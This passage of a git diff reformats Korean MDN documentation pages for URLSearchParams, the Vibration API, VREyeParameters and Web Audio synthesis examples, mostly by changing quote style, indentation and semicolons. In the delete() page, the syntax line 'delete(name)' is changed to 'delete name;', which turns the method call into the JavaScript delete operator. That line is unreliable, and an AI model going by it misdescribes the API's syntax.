 {{domxref("URLSearchParams")}} 인터페이스의 **`append()`** 메서드는 지정한 키/값 쌍을 새로운 검색 매개변수로서 추가합니다.
@@ -13,7 +14,7 @@ slug: Web/API/URLSearchParams/append
 ## 구문
 
 ```js
-append(name, value)
+append(name, value);
 ```
 
 ### 매개변수
@@ -30,11 +31,11 @@ append(name, value)
 ## 예제
 
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
+let url = new URL("https://example.com?foo=1&bar=2");
 let params = new URLSearchParams(url.search);
 
 // 두 번째 foo 매개변수 추가
-params.append('foo', 4);
+params.append("foo", 4);
 // 이제 쿼리 문자열이 'foo=1&bar=2&foo=4'
 ```
 
diff --git a/files/ko/web/api/urlsearchparams/delete/index.md b/files/ko/web/api/urlsearchparams/delete/index.md
index 18e7302901854e..37faa68d893f70 100644
--- a/files/ko/web/api/urlsearchparams/delete/index.md
+++ b/files/ko/web/api/urlsearchparams/delete/index.md
@@ -12,7 +12,7 @@ slug: Web/API/URLSearchParams/delete
 ## 구문
 
 ```js
-delete(name)
+delete name;
 ```
 
 ### 매개변수
@@ -27,11 +27,11 @@ delete(name)
 ## 예제
 
 ```js
-let url = new URL('https://example.com?foo=1&bar=2&foo=3');
+let url = new URL("https://example.com?foo=1&bar=2&foo=3");
 let params = new URLSearchParams(url.search);
 
 // foo 매개변수 제거
-params.delete('foo'); // 이제 쿼리 문자열이 'bar=2'
+params.delete("foo"); // 이제 쿼리 문자열이 'bar=2'
 ```
 
 ## 명세
diff --git a/files/ko/web/api/urlsearchparams/get/index.md b/files/ko/web/api/urlsearchparams/get/index.md
index 4396c22fe57cc1..bbcef60c35f370 100644
--- a/files/ko/web/api/urlsearchparams/get/index.md
+++ b/files/ko/web/api/urlsearchparams/get/index.md
@@ -12,7 +12,7 @@ slug: Web/API/URLSearchParams/get
 ## 구문
 
 ```js
-get(name)
+get(name);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/urlsearchparams/index.md b/files/ko/web/api/urlsearchparams/index.md
index 3bcc24468c04dd..e0d73a6ee22fd3 100644
--- a/files/ko/web/api/urlsearchparams/index.md
+++ b/files/ko/web/api/urlsearchparams/index.md
@@ -10,8 +10,10 @@ slug: Web/API/URLSearchParams
 `URLSearchParams`를 구현하는 객체는 {{jsxref("Statements/for...of", "for...of")}} 반복문으로 직접 키/값 쌍을 순회할 수 있습니다. 키/값 쌍의 순회 순서는 쿼리 문자열에 나타나는 순서와 같습니다. 예를 들어, 다음 두 줄의 코드는 동일합니다.
 
 ```js
-for (const [key, value] of mySearchParams) {}
-for (const [key, value] of mySearchParams.entries()) {}
+for (const [key, value] of mySearchParams) {
+}
+for (const [key, value] of mySearchParams.entries()) {
+}
 ```
 
 {{availableinworkers}}
@@ -51,7 +53,7 @@ for (const [key, value] of mySearchParams.entries()) {}
 ## 예제
 
 ```js
-const paramsString = 'q=URLUtils.searchParams&topic=api';
+const paramsString = "q=URLUtils.searchParams&topic=api";
 let searchParams = new URLSearchParams(paramsString);
 
 // 검색 매개변수 순회
@@ -59,38 +61,38 @@ for (let p of searchParams) {
   console.log(p);
 }
 
-searchParams.has('topic') === true;      // true
-searchParams.get('topic') === "api";     // true
-searchParams.getAll('topic');            // ["api"]
-searchParams.get('foo') === null;        // true
-searchParams.append('topic', 'webdev');
-searchParams.toString();                 // "q=URLUtils.searchParams&topic=api&topic=webdev"
-searchParams.set('topic', 'More webdev');
-searchParams.toString();                 // "q=URLUtils.searchParams&topic=More+webdev"
-searchParams.delete('topic');
-searchParams.toString();                 // "q=URLUtils.searchParams"
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
 ```
 
 ```js
 // 검색 매개변수는 객체도 가능
-let paramsObj = {foo: 'bar', baz: 'bar'};
+let paramsObj = { foo: "bar", baz: "bar" };
 let searchParams = new URLSearchParams(paramsObj);
 
-searchParams.toString();                 // "foo=bar&baz=bar"
-searchParams.has('foo');                 // true
-searchParams.get('foo');                 // bar
+searchParams.toString(); // "foo=bar&baz=bar"
+searchParams.has("foo"); // true
+searchParams.get("foo"); // bar
 ```
 
 ### 중복된 검색 매개변수
 
 ```js
-let paramStr = 'foo=bar&foo=baz';
+let paramStr = "foo=bar&foo=baz";
 let searchParams = new URLSearchParams(paramStr);
 
-searchParams.toString();                 // "foo=bar&foo=baz"
-searchParams.has('foo');                 // true
-searchParams.get('foo');                 // bar, 첫 번째 값만 반환
-searchParams.getAll('foo');              // ["bar", "baz"]
+searchParams.toString(); // "foo=bar&foo=baz"
+searchParams.has("foo"); // true
+searchParams.get("foo"); // bar, 첫 번째 값만 반환
+searchParams.getAll("foo"); // ["bar", "baz"]
 ```
 
 ### URL 파싱 없음
@@ -98,22 +100,22 @@ searchParams.getAll('foo');              // ["bar", "baz"]
 `URLSearchParams` 생성자에 URL 파싱 기능은 없습니다. 다만 쿼리 문자열이 `?`로 시작하면 무시합니다.
 
 ```js
-const paramsString1 = 'http://example.com/search?query=%40';
+const paramsString1 = "http://example.com/search?query=%40";
 const searchParams1 = new URLSearchParams(paramsString1);
 
-searchParams1.has('query'); // false
-searchParams1.has('http://example.com/search?query'); // true
+searchParams1.has("query"); // false
+searchParams1.has("http://example.com/search?query"); // true
 
-searchParams1.get('query'); // null
-searchParams1.get('http://example.com/search?query'); // "@" (decodeURIComponent('%40')과 동일)
+searchParams1.get("query"); // null
+searchParams1.get("http://example.com/search?query"); // "@" (decodeURIComponent('%40')과 동일)
 
-const paramsString2 = '?query=value';
+const paramsString2 = "?query=value";
 const searchParams2 = new URLSearchParams(paramsString2);
-searchParams2.has('query'); // true
+searchParams2.has("query"); // true
 
-const url = new URL('http://example.com/search?query=%40');
+const url = new URL("http://example.com/search?query=%40");
 const searchParams3 = new URLSearchParams(url.search);
-searchParams3.has('query') // true
+searchParams3.has("query"); // true
 ```
 
 ### 더하기 기호 보존하기
@@ -121,11 +123,11 @@ searchParams3.has('query') // true
 `URLSearchParams` 생성자는 더하기 기호(`+`)를 공백으로 취급하므로 원하지 않는 결과를 낳을 수 있습니다.
 
 ```js
-const rawData = '\x13à\x17@\x1F\x80';
+const rawData = "\x13à\x17@\x1F\x80";
 const base64Data = btoa(rawData); // 'E+AXQB+A'
 
 const searchParams = new URLSearchParams(`bin=${base64Data}`); // 'bin=E+AXQB+A'
-const binQuery = searchParams.get('bin'); // 'E AXQB A', '+'가 공백으로 대체됨
+const binQuery = searchParams.get("bin"); // 'E AXQB A', '+'가 공백으로 대체됨
 
 console.log(atob(binQuery) === rawData); // false
 ```
@@ -133,12 +135,12 @@ console.log(atob(binQuery) === rawData); // false
 {{jsxref("encodeURIComponent", "encodeURIComponent()")}}로 값을 먼저 인코딩하면 이 문제를 피할 수 있습니다.
 
 ```js
-const rawData = '\x13à\x17@\x1F\x80';
+const rawData = "\x13à\x17@\x1F\x80";
 const base64Data = btoa(rawData); // 'E+AXQB+A'
 const encodedBase64Data = encodeURIComponent(base64Data); // 'E%2BAXQB%2BA'
 
 const searchParams = new URLSearchParams(`bin=${encodedBase64Data}`); // 'bin=E%2BAXQB%2BA'
-const binQuery = searchParams.get('bin'); // 'E+AXQB+A'
+const binQuery = searchParams.get("bin"); // 'E+AXQB+A'
 
 console.log(atob(binQuery) === rawData); // true
 ```
@@ -148,10 +150,10 @@ console.log(atob(binQuery) === rawData); // true
 `URLSearchParams`는 `=` 뒤에 값이 없는 것과, 아예 `=`조차 없는 매개변수를 구분하지 않습니다.
 
 ```js
-const emptyVal = new URLSearchParams('foo=&bar=baz');
-emptyVal.get('foo'); // '' 반환
-const noEquals = new URLSearchParams('foo&bar=baz');
-noEquals.get('foo'); // '' 반환, 동일함
+const emptyVal = new URLSearchParams("foo=&bar=baz");
+emptyVal.get("foo"); // '' 반환
+const noEquals = new URLSearchParams("foo&bar=baz");
+noEquals.get("foo"); // '' 반환, 동일함
 noEquals.toString(); // 'foo=&bar=baz'
 ```
 
diff --git a/files/ko/web/api/urlsearchparams/set/index.md b/files/ko/web/api/urlsearchparams/set/index.md
index d389f6420ca9b0..ebde6f69a97d4a 100644
--- a/files/ko/web/api/urlsearchparams/set/index.md
+++ b/files/ko/web/api/urlsearchparams/set/index.md
@@ -2,6 +2,7 @@
 title: URLSearchParams.set()
 slug: Web/API/URLSearchParams/set
 ---
+
 {{ApiRef("URL API")}}
 
 {{domxref("URLSearchParams")}} 인터페이스의 **`set()`** 메서드는 주어진 검색 매개변수의 값을 지정한 값으로 설정합니다. 만약 해당 검색 매개변수에 연관된 값이 여러 개라면, 설정한 값을 제외한 나머지는 모두 제거됩니다. 반대로 검색 매개변수가 존재하지 않으면 새로 생성합니다.
@@ -11,7 +12,7 @@ slug: Web/API/URLSearchParams/set
 ## 구문
 
 ```js
-set(name, value)
+set(name, value);
 ```
 
 ### 매개변수
@@ -28,11 +29,11 @@ set(name, value)
 ## 예제
 
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
+let url = new URL("https://example.com?foo=1&bar=2");
 let params = new URLSearchParams(url.search);
 
 // 세 번째 매개변수 추가
-params.set('baz', 3);
+params.set("baz", 3);
 params.toString(); // "foo=1&bar=2&baz=3"
 ```
 
diff --git a/files/ko/web/api/urlsearchparams/tostring/index.md b/files/ko/web/api/urlsearchparams/tostring/index.md
index 2f391aa0e5822b..6cb84f53317be8 100644
--- a/files/ko/web/api/urlsearchparams/tostring/index.md
+++ b/files/ko/web/api/urlsearchparams/tostring/index.md
@@ -2,6 +2,7 @@
 title: URLSearchParams.toString()
 slug: Web/API/URLSearchParams/toString
 ---
+
 {{ApiRef("URL API")}}
 
 {{domxref("URLSearchParams")}} 인터페이스의 **`toString()`** 메서드는 URL에 사용할 수 있는 쿼리 문자열을 반환합니다.
@@ -13,7 +14,7 @@ slug: Web/API/URLSearchParams/toString
 ## 구문
 
 ```js
-toString()
+toString();
 ```
 
 ### 매개변수
@@ -27,11 +28,11 @@ toString()
 ## 예제
 
 ```js
-const url = new URL('https://example.com?foo=1&bar=2');
+const url = new URL("https://example.com?foo=1&bar=2");
 const params = new URLSearchParams(url.search);
 
 // 두 번째 foo 매개변수 추가
-params.append('foo', 4);
+params.append("foo", 4);
 console.log(params.toString()); // 'foo=1&bar=2&foo=4' 출력
 ```
 
diff --git a/files/ko/web/api/urlsearchparams/urlsearchparams/index.md b/files/ko/web/api/urlsearchparams/urlsearchparams/index.md
index 000e1b7b6ef8ae..cf8035f84a5b4e 100644
--- a/files/ko/web/api/urlsearchparams/urlsearchparams/index.md
+++ b/files/ko/web/api/urlsearchparams/urlsearchparams/index.md
@@ -2,6 +2,7 @@
 title: URLSearchParams()
 slug: Web/API/URLSearchParams/URLSearchParams
 ---
+
 {{ApiRef("URL API")}}
 
 **`URLSearchParams()`** 생성자는 새로운 {{domxref("URLSearchParams")}} 객체를 생성하고 반환합니다.
@@ -11,8 +12,8 @@ slug: Web/API/URLSearchParams/URLSearchParams
 ## 구문
 
 ```js
-new URLSearchParams()
-new URLSearchParams(init)
+new URLSearchParams();
+new URLSearchParams(init);
 ```
 
 ### 매개변수
@@ -33,7 +34,7 @@ new URLSearchParams(init)
 
 ```js
 // url 생성자에 전달된 주소를 url.search를 통해 params라는 변수로 검색합니다.
-var url = new URL('https://example.com?foo=1&bar=2');
+var url = new URL("https://example.com?foo=1&bar=2");
 var params = new URLSearchParams(url.search);
 
 // 문자열 리터럴을 전달합니다.
@@ -41,16 +42,19 @@ var params2 = new URLSearchParams("foo=1&bar=2");
 var params2a = new URLSearchParams("?foo=1&bar=2");
 
 // 일련의 쌍으로 전달합니다.
-var params3 = new URLSearchParams([["foo", "1"], ["bar", "2"]]);
+var params3 = new URLSearchParams([
+  ["foo", "1"],
+  ["bar", "2"],
+]);
 
 // 레코드로 전달합니다.
-var params4 = new URLSearchParams({"foo": "1", "bar": "2"});
+var params4 = new URLSearchParams({ foo: "1", bar: "2" });
 ```
 
 다음 예제는 검색 매개변수를 포함한 URL과, 검색 매개변수 객체를 사용해 새로운 URL을 만드는 모습을 보입니다.
 
 ```js
-const url = new URL('https://example.com/?a=hello&b=world');
+const url = new URL("https://example.com/?a=hello&b=world");
 
 console.log(url.href);
 // https://example.com/?a=hello&b=world
@@ -59,14 +63,14 @@ console.log(url.origin);
 // https://example.com
 
 const add_params = {
-    c: 'a',
-    d: new String(2),
-    e: false.toString(),
-}
+  c: "a",
+  d: new String(2),
+  e: false.toString(),
+};
 
 const new_params = new URLSearchParams([
-    ...Array.from(url.searchParams.entries()), // [["a","hello"],["b","world"]]
-    ...Object.entries(add_params), // [["c","a"],["d","2"],["e","false"]]
+  ...Array.from(url.searchParams.entries()), // [["a","hello"],["b","world"]]
+  ...Object.entries(add_params), // [["c","a"],["d","2"],["e","false"]]
 ]).toString();
 console.log(new_params);
 // a=hello&b=world&c=a&d=2&e=false
@@ -82,7 +86,7 @@ const addSearchParams = (url, params = {}) =>
     `${url.origin}${url.pathname}?${new URLSearchParams([
       ...Array.from(url.searchParams.entries()),
       ...Object.entries(params),
-    ]).toString()}`
+    ]).toString()}`,
   );
 ```
 
diff --git a/files/ko/web/api/vibration_api/index.md b/files/ko/web/api/vibration_api/index.md
index bb13e5879eac18..ae5f39357548de 100644
--- a/files/ko/web/api/vibration_api/index.md
+++ b/files/ko/web/api/vibration_api/index.md
@@ -3,6 +3,7 @@ title: Vibration API
 slug: Web/API/Vibration_API
 original_slug: Web/Guide/API/Vibration/Vibration
 ---
+
 {{DefaultAPISidebar("Vibration API")}}
 
 요즘 나오는 대부분은 모바일 디바이스는 바이브레이션 하드웨어를 포함하고 있다. 소프트웨어 코드를 이용해 바이브레이션 하드웨어를 제어하면, 모바일 디바이스를 흔들리게 만들어 사용자에게 물리적인 피드백을 제공할 수 있다.
@@ -49,22 +50,22 @@ var vibrateInterval;
 
 // Starts vibration at passed in level
 function startVibrate(duration) {
-    navigator.vibrate(duration);
+  navigator.vibrate(duration);
 }
 
 // Stops vibration
 function stopVibrate() {
-    // Clear interval and stop persistent vibrating
-    if(vibrateInterval) clearInterval(vibrateInterval);
-    navigator.vibrate(0);
+  // Clear interval and stop persistent vibrating
+  if (vibrateInterval) clearInterval(vibrateInterval);
+  navigator.vibrate(0);
 }
 
 // Start persistent vibration at given duration and interval
 // Assumes a number value is given
 function startPeristentVibrate(duration, interval) {
-    vibrateInterval = setInterval(function() {
-        startVibrate(duration);
-    }, interval);
+  vibrateInterval = setInterval(function () {
+    startVibrate(duration);
+  }, interval);
 }
 ```
 
diff --git a/files/ko/web/api/vreyeparameters/index.md b/files/ko/web/api/vreyeparameters/index.md
index ee90f71dd36141..9384dec91fe1f2 100644
--- a/files/ko/web/api/vreyeparameters/index.md
+++ b/files/ko/web/api/vreyeparameters/index.md
@@ -2,6 +2,7 @@
 title: VREyeParameters
 slug: Web/API/VREyeParameters
 ---
+
 {{APIRef("WebVR API")}}{{SeeCompatTable}}
 
 [WebVR API](/ko/docs/Web/API/WebVR_API)의 **`VREyeParameters`** 인터페이스는 시야 정보 필드를 포함하여 특정한 눈에 대한 장면을 정확하게 렌더링 하는 데 필요한 모든 정보를 나타냅니다.
@@ -24,20 +25,20 @@ slug: Web/API/VREyeParameters
 ## 예제
 
 ```js
-navigator.getVRDisplays().then(function(displays) {
+navigator.getVRDisplays().then(function (displays) {
   // If a display is available, use it to present the scene
   vrDisplay = displays[0];
-  console.log('Display found');
+  console.log("Display found");
   // Starting the presentation when the button is clicked:
   //   It can only be called in response to a user gesture
-  btn.addEventListener('click', function() {
-    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
-      console.log('Presenting to WebVR display');
+  btn.addEventListener("click", function () {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function () {
+      console.log("Presenting to WebVR display");
 
       // Set the canvas size to the size of the vrDisplay viewport
 
-      var leftEye = vrDisplay.getEyeParameters('left');
-      var rightEye = vrDisplay.getEyeParameters('right');
+      var leftEye = vrDisplay.getEyeParameters("left");
+      var rightEye = vrDisplay.getEyeParameters("right");
 
       canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
       canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
diff --git a/files/ko/web/api/web_audio_api/advanced_techniques/index.md b/files/ko/web/api/web_audio_api/advanced_techniques/index.md
index 3665be00fc6b17..adb810b9c0c045 100644
--- a/files/ko/web/api/web_audio_api/advanced_techniques/index.md
+++ b/files/ko/web/api/web_audio_api/advanced_techniques/index.md
@@ -1,5 +1,5 @@
 ---
-title: '고급 기법: 오디오 생성 및 시퀸싱'
+title: "고급 기법: 오디오 생성 및 시퀸싱"
 slug: Web/API/Web_Audio_API/Advanced_techniques
 ---
 
@@ -23,12 +23,12 @@ slug: Web/API/Web_Audio_API/Advanced_techniques
 
 각 소리들은 또한 해당 소리를 수정할 수 있는 슬라이더를 가지고 있는데, 이는 이펙트나 우리가 이 소리들을 만들기 위해 사용한 각 기법의 특정한 파라미터를 조작할 수 있게 해 줍니다. 우리가 사용하는 이 기법들은:
 
-| 소리의 이름 | 기법                              | 연관된 Web Audio API 기능                                                                                                        |
-| ----------- | --------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- |
-| "스윕"      | 오실레이터, 주기파                | {{domxref("OscillatorNode")}}, {{domxref("PeriodicWave")}}                                                   |
-| "펄스"      | 다수의 오실레이터                 | {{domxref("OscillatorNode")}}                                                                                         |
+| 소리의 이름 | 기법                              | 연관된 Web Audio API 기능                                                                         |
+| ----------- | --------------------------------- | ------------------------------------------------------------------------------------------------- |
+| "스윕"      | 오실레이터, 주기파                | {{domxref("OscillatorNode")}}, {{domxref("PeriodicWave")}}                                        |
+| "펄스"      | 다수의 오실레이터                 | {{domxref("OscillatorNode")}}                                                                     |
 | "노이즈"    | 무작위 노이즈 버퍼, 바이쿼드 필터 | {{domxref("AudioBuffer")}}, {{domxref("AudioBufferSourceNode")}}, {{domxref("BiquadFilterNode")}} |
-| "다이얼 음" | 재생할 사운드 샘플 로딩하기       | {{domxref("BaseAudioContext/decodeAudioData")}}, {{domxref("AudioBufferSourceNode")}}               |
+| "다이얼 음" | 재생할 사운드 샘플 로딩하기       | {{domxref("BaseAudioContext/decodeAudioData")}}, {{domxref("AudioBufferSourceNode")}}             |
 
 > **참고:** 이 악기는 좋은 소리를 내기 위해 만들어지지 않았습니다. 이것은 데모 코드를 제공하기 위해 만들어졌고 이런 악기의 **아주** 단순화된 버전을 나타냅니다. 이 소리들은 다이얼 접속 모뎀에 기반합니다. 만약 여러분이 이것이 어떤 소리인지 모른다면 [여기서 들어볼 수 있습니다.](https://soundcloud.com/john-pemberton/modem-dialup)
 
@@ -64,12 +64,12 @@ const wave = audioCtx.createPeriodicWave(wavetable.real, wavetable.imag);
 
 ```js
 function playSweep(time) {
-     const osc = audioCtx.createOscillator();
-     osc.setPeriodicWave(wave);
-     osc.frequency.value = 440;
-     osc.connect(audioCtx.destination);
-     osc.start(time);
-     osc.stop(time + 1);
+  const osc = audioCtx.createOscillator();
+  osc.setPeriodicWave(wave);
+  osc.frequency.value = 440;
+  osc.connect(audioCtx.destination);
+  osc.start(time);
+  osc.stop(time + 1);
 }
 ```
 
@@ -83,26 +83,48 @@ function playSweep(time) {
 
 ```html
 <label for="attack">Attack</label>
-<input name="attack" id="attack" type="range" min="0" max="1" value="0.2" step="0.1" />
+<input
+  name="attack"
+  id="attack"
+  type="range"
+  min="0"
+  max="1"
+  value="0.2"
+  step="0.1" />
 
 <label for="release">Release</label>
-<input name="release" id="release" type="range" min="0" max="1" value="0.5" step="0.1" />
+<input
+  name="release"
+  id="release"
+  type="range"
+  min="0"
+  max="1"
+  value="0.5"
+  step="0.1" />
 ```
 
 이제 우리는 JavaScript에서 몇 가지 변수들을 생성하고 입력 값들이 업데이트되었을 때 바뀌도록 할 수 있습니다:
 
 ```js
 let attackTime = 0.2;
-const attackControl = document.querySelector('#attack');
-attackControl.addEventListener('input', function() {
+const attackControl = document.querySelector("#attack");
+attackControl.addEventListener(
+  "input",
+  function () {
     attackTime = Number(this.value);
-}, false);
+  },
+  false,
+);
 
 let releaseTime = 0.5;
-const releaseControl = document.querySelector('#release');
-releaseControl.addEventListener('input', function() {
+const releaseControl = document.querySelector("#release");
+releaseControl.addEventListener(
+  "input",
+  function () {
     releaseTime = Number(this.value);
-}, false);
+  },
+  false,
+);
 ```
 
 ### 최종 playSweep() 함수
@@ -116,21 +138,21 @@ releaseControl.addEventListener('input', function() {
 ```js
 let sweepLength = 2;
 function playSweep(time) {
-    let osc = audioCtx.createOscillator();
-    osc.setPeriodicWave(wave);
-    osc.frequency.value = 440;
-
-    let sweepEnv = audioCtx.createGain();
-    sweepEnv.gain.cancelScheduledValues(time);
-    sweepEnv.gain.setValueAtTime(0, time);
-    // attack을 설정합니다
-    sweepEnv.gain.linearRampToValueAtTime(1, time + attackTime);
-    // release를 설정합니다
-    sweepEnv.gain.linearRampToValueAtTime(0, time + sweepLength - releaseTime);
-
-    osc.connect(sweepEnv).connect(audioCtx.destination);
-    osc.start(time);
-    osc.stop(time + sweepLength);
+  let osc = audioCtx.createOscillator();
+  osc.setPeriodicWave(wave);
+  osc.frequency.value = 440;
+
+  let sweepEnv = audioCtx.createGain();
+  sweepEnv.gain.cancelScheduledValues(time);
+  sweepEnv.gain.setValueAtTime(0, time);
+  // attack을 설정합니다
+  sweepEnv.gain.linearRampToValueAtTime(1, time + attackTime);
+  // release를 설정합니다
+  sweepEnv.gain.linearRampToValueAtTime(0, time + sweepLength - releaseTime);
+
+  osc.connect(sweepEnv).connect(audioCtx.destination);
+  osc.start(time);
+  osc.stop(time + sweepLength);
 }
 ```
 
@@ -144,7 +166,7 @@ function playSweep(time) {
 
 ```js
 const osc = audioCtx.createOscillator();
-osc.type = 'sine';
+osc.type = "sine";
 osc.frequency.value = 880;
 ```
 
@@ -161,7 +183,7 @@ amp.gain.setValueAtTime(1, audioCtx.currentTime);
 
 ```js
 const lfo = audioCtx.createOscillator();
-lfo.type = 'square';
+lfo.type = "square";
 lfo.frequency.value = 30;
 ```
 
@@ -185,7 +207,14 @@ UI 제어에 대해, 오실레이터의 두 주파수들이 range 입력을 통
 
 ```html
 <label for="hz">Hz</label>
-<input name="hz" id="hz" type="range" min="660" max="1320" value="880" step="1" />
+<input
+  name="hz"
+  id="hz"
+  type="range"
+  min="660"
+  max="1320"
+  value="880"
+  step="1" />
 <label for="lfo">LFO</label>
 <input name="lfo" id="lfo" type="range" min="20" max="40" value="30" step="1" />
 ```
@@ -194,16 +223,24 @@ UI 제어에 대해, 오실레이터의 두 주파수들이 range 입력을 통
 
 ```js
 let pulseHz = 880;
-const hzControl = document.querySelector('#hz');
-hzControl.addEventListener('input', function() {
+const hzControl = document.querySelector("#hz");
+hzControl.addEventListener(
+  "input",
+  function () {
     pulseHz = Number(this.value);
-}, false);
+  },
+  false,
+);
 
 let lfoHz = 30;
-const lfoControl = document.querySelector('#lfo');
-lfoControl.addEventListener('input', function() {
+const lfoControl = document.querySelector("#lfo");
+lfoControl.addEventListener(
+  "input",
+  function () {
     lfoHz = Number(this.value);
-}, false);
+  },
+  false,
+);
 ```
 
 ### 최종 playPulse() 함수
@@ -213,22 +250,22 @@ lfoControl.addEventListener('input', function() {
 ```js
 let pulseTime = 1;
 function playPulse(time) {
-    let osc = audioCtx.createOscillator();
-    osc.type = 'sine';
-    osc.frequency.value = pulseHz;
-
-    let amp = audioCtx.createGain();
-    amp.gain.value = 1;
-
-    let lfo = audioCtx.createOscillator();
-    lfo.type = 'square';
-    lfo.frequency.value = lfoHz;
-
-    lfo.connect(amp.gain);
-    osc.connect(amp).connect(audioCtx.destination);
-    lfo.start();
-    osc.start(time);
-    osc.stop(time + pulseTime);
+  let osc = audioCtx.createOscillator();
+  osc.type = "sine";
+  osc.frequency.value = pulseHz;
+
+  let amp = audioCtx.createGain();
+  amp.gain.value = 1;
+
+  let lfo = audioCtx.createOscillator();
+  lfo.type = "square";
+  lfo.frequency.value = lfoHz;
+
+  lfo.connect(amp.gain);
+  osc.connect(amp).connect(audioCtx.destination);
+  lfo.start();
+  osc.start(time);
+  osc.stop(time + pulseTime);
 }
 ```
 
@@ -254,7 +291,7 @@ let data = buffer.getChannelData(0); // 데이터 얻기
 
 // 버퍼를 노이즈로 채우기
 for (let i = 0; i < bufferSize; i++) {
-    data[i] = Math.random() * 2 - 1;
+  data[i] = Math.random() * 2 - 1;
 }
 ```
 
@@ -288,7 +325,7 @@ noise.start();
 
 ```js
 let bandpass = audioCtx.createBiquadFilter();
-bandpass.type = 'bandpass';
+bandpass.type = "bandpass";
 bandpass.frequency.value = 1000;
 
 // 그래프 연결하기
@@ -301,24 +338,46 @@ UI에서 우리는 사용자가 range 입력과 지난 섹션에서처럼의 이
 
 ```html
 <label for="duration">Duration</label>
-<input name="duration" id="duration" type="range" min="0" max="2" value="1" step="0.1" />
+<input
+  name="duration"
+  id="duration"
+  type="range"
+  min="0"
+  max="2"
+  value="1"
+  step="0.1" />
 
 <label for="band">Band</label>
-<input name="band" id="band" type="range" min="400" max="1200" value="1000" step="5" />
+<input
+  name="band"
+  id="band"
+  type="range"
+  min="400"
+  max="1200"
+  value="1000"
+  step="5" />
 ```
 
 ```js
 let noiseDuration = 1;
-const durControl = document.querySelector('#duration');
-durControl.addEventListener('input', function() {
+const durControl = document.querySelector("#duration");
+durControl.addEventListener(
+  "input",
+  function () {
     noiseDuration = Number(this.value);
-}, false);
+  },
+  false,
+);
 
 let bandHz = 1000;
-const bandControl = document.querySelector('#band');
-bandControl.addEventListener('input', function() {
+const bandControl = document.querySelector("#band");
+bandControl.addEventListener(
+  "input",
+  function () {
     bandHz = Number(this.value);
-}, false);
+  },
+  false,
+);
 ```
 
 ### 최종 playNoise() 함수
@@ -327,26 +386,26 @@ bandControl.addEventListener('input', function() {
 
 ```js
 function playNoise(time) {
-    const bufferSize = audioCtx.sampleRate * noiseDuration; // 노트의 시간을 설정합니다
-    const buffer = audioCtx.createBuffer(1, bufferSize, audioCtx.sampleRate); // 빈 버퍼를 생성합니다
-    let data = buffer.getChannelData(0); // get data
+  const bufferSize = audioCtx.sampleRate * noiseDuration; // 노트의 시간을 설정합니다
+  const buffer = audioCtx.createBuffer(1, bufferSize, audioCtx.sampleRate); // 빈 버퍼를 생성합니다
+  let data = buffer.getChannelData(0); // get data
 
-    // 버퍼를 노이즈로 채웁니다
-    for (let i = 0; i < bufferSize; i++) {
-        data[i] = Math.random() * 2 - 1;
-    }
+  // 버퍼를 노이즈로 채웁니다
+  for (let i = 0; i < bufferSize; i++) {
+    data[i] = Math.random() * 2 - 1;
+  }
 
-    // 생성된 데이터에 대해 버퍼 소스 생성하기
-    let noise = audioCtx.createBufferSource();
-    noise.buffer = buffer;
+  // 생성된 데이터에 대해 버퍼 소스 생성하기
+  let noise = audioCtx.createBufferSource();
+  noise.buffer = buffer;
 
-    let bandpass = audioCtx.createBiquadFilter();
-    bandpass.type = 'bandpass';
-    bandpass.frequency.value = bandHz;
+  let bandpass = audioCtx.createBiquadFilter();
+  bandpass.type = "bandpass";
+  bandpass.frequency.value = bandHz;
 
-    // 그래프 연결하기
-    noise.connect(bandpass).connect(audioCtx.destination);
-    noise.start(time);
+  // 그래프 연결하기
+  noise.connect(bandpass).connect(audioCtx.destination);
+  noise.start(time);
 }
 ```
 
@@ -373,9 +432,9 @@ async function getFile(audioContext, filepath) {
 
 ```js
 async function setupSample() {
-    const filePath = 'dtmf.mp3';
-    const sample = await getFile(audioCtx, filePath);
-    return sample;
+  const filePath = "dtmf.mp3";
+  const sample = await getFile(audioCtx, filePath);
+  return sample;
 }
 ```
 
@@ -384,10 +443,9 @@ async function setupSample() {
 이제 우리는 `setupSample()`을 다음과 같이 사용할 수 있습니다:
 
 ```js
-setupSample()
-    .then((sample) => {
-        // 샘플은 우리의 버퍼된 파일입니다
-        // ...
+setupSample().then((sample) => {
+  // 샘플은 우리의 버퍼된 파일입니다
+  // ...
 });
 ```
 
@@ -399,11 +457,11 @@ setupSample()
 
 ```js
 function playSample(audioContext, audioBuffer, time) {
-    const sampleSource = audioContext.createBufferSource();
-    sampleSource.buffer = audioBuffer;
-    sampleSource.connect(audioContext.destination)
-    sampleSource.start(time);
-    return sampleSource;
+  const sampleSource = audioContext.createBufferSource();
+  sampleSource.buffer = audioBuffer;
+  sampleSource.connect(audioContext.destination);
+  sampleSource.start(time);
+  return sampleSource;
 }
 ```
 
@@ -415,15 +473,26 @@ function playSample(audioContext, audioBuffer, time) {
 
 ```html
 <label for="rate">Rate</label>
-<input name="rate" id="rate" type="range" min="0.1" max="2" value="1" step="0.1" />
+<input
+  name="rate"
+  id="rate"
+  type="range"
+  min="0.1"
+  max="2"
+  value="1"
+  step="0.1" />
 ```
 
 ```js
 let playbackRate = 1;
-const rateControl = document.querySelector('#rate');
-rateControl.addEventListener('input', function() {
+const rateControl = document.querySelector("#rate");
+rateControl.addEventListener(
+  "input",
+  function () {
     playbackRate = Number(this.value);
-}, false);
+  },
+  false,
+);
 ```
 
 ### 최종 playSample() 함수
@@ -432,12 +501,12 @@ rateControl.addEventListener('input', function() {
 
 ```js
 function playSample(audioContext, audioBuffer, time) {
-    const sampleSource = audioContext.createBufferSource();
-    sampleSource.buffer = audioBuffer;
-    sampleSource.playbackRate.value = playbackRate;
-    sampleSource.connect(audioContext.destination)
-    sampleSource.start(time);
-    return sampleSource;
+  const sampleSource = audioContext.createBufferSource();
